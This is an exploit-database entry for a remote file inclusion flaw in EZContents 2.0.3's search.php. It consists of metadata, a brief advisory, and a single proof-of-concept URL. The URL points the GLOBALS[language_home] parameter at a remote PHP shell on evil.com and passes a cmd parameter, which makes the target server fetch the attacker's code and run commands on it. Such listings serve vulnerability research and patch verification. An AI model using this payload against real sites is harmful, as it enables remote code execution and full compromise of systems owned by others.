EZContents 2.0.3 - 'search.php?GLOBALS[language_home]' Remote File Inclusion

EDB-ID:

28461


Author:

DarkFig

Type:

webapps


Platform:

PHP

Date:

2006-08-30


source: https://www.securityfocus.com/bid/19776/info
        
ezContents is prone to multiple remote file-include vulnerabilities because the application fails to properly sanitize user-supplied input.
        
An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may help the attacker compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/modules/search/search.php?GLOBALS[rootdp]=&GLOBALS[language_home]=ftps://evil.com/sh.php&cmd=ls